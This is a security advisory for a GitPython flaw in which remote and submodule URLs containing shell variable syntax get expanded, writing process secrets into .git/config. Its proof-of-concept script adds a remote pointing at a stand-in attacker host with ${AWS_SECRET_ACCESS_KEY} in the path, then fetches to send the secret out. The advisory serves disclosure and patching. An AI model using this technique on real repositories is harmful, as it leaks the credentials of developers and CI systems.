GitPython Environment-Variable Exfiltration via Repo.create_remote() URL
Passing a URL containing shell variable syntax like ${AWS_SECRET_ACCESS_KEY} to Repo.create_remote() causes GitPython to expand live process secrets into .git/config and transmit them to an…

The problem
GitPython's Git.polish_url() calls os.path.expandvars() on any URL it processes. The fix for the earlier GHSA-rwj8-pgh3-r573 added an expand_vars=False guard in Repo._clone(), but left Remote.create() (the backend of Repo.create_remote() and Remote.add()) calling polish_url() with the default expand_vars=True.
Any secret present in the hosting process's environment, such as AWS_SECRET_ACCESS_KEY, GITHUB_TOKEN, or CI/CD tokens, is immediately written into .git/config in plaintext. The same vulnerable path exists in Submodule.add(), which writes the expanded URL into the tracked .gitmodules file as well.
Proof of concept
A working proof-of-concept for this issue in GitPython, with the exact payload below.
import git, os, tempfile
os.environ["AWS_SECRET_ACCESS_KEY"] = "AKIAIOSFODNN7EXAMPLE"
repo = git.Repo.init(tempfile.mkdtemp())
# Attacker-controlled URL: shell variable is expanded server-side by polish_url()
remote = repo.create_remote(
"evil",
"http://attacker.example/${AWS_SECRET_ACCESS_KEY}/repo.git"
)
# Secret is now embedded in .git/config and will be sent over the network on fetch
print(repo.remote("evil").url)
# => http://attacker.example/AKIAIOSFODNN7EXAMPLE/repo.git
remote.fetch() # transmits the expanded secret to attacker.exampleRoot cause is CWE-214 (Invocation of Process Using Visible Sensitive Information): Git.polish_url() unconditionally calls os.path.expandvars() unless the caller explicitly passes expand_vars=False. The prior patch (commit 8ac5a305) used expand_vars=False only in Repo._clone(), leaving Remote.create() at git/remote.py:811 and Submodule.add() at git/objects/submodule/base.py:611 still expanding attacker-supplied URLs before writing them to config.
The check_unsafe_protocols() call runs on the pre-expansion string, so a benign-looking https:// URL carrying ${SECRET} in its path passes all filters, then expands to embed the live secret. The fix in commit 863417457 adds expand_vars=False to the polish_url() calls in both Remote.create() and Submodule.add(), matching the pattern already used in _clone().
The fix
Upgrade to GitPython 3.1.55 or later. The patch (commit 863417457) passes expand_vars=False to Git.polish_url() in both Remote.create() (git/remote.py) and Submodule.add() (git/objects/submodule/base.py). If upgrading immediately is not possible, sanitize all remote URLs before passing them to Repo.create_remote() or Remote.add() by rejecting any input containing $ or % characters.
Related research
- high · 8.1GitPython Argument Injection via Diffable.diff Enables Arbitrary File Overwrite
- high · 7.5GitPython: OS Command Injection via --template in clone_from
- high · 8.8GitPython: OS Command Injection via Single-Character Kwarg Value Token Smuggling
- high · 8.4GitPython Command Injection and Arbitrary File Overwrite via Unguarded Git Options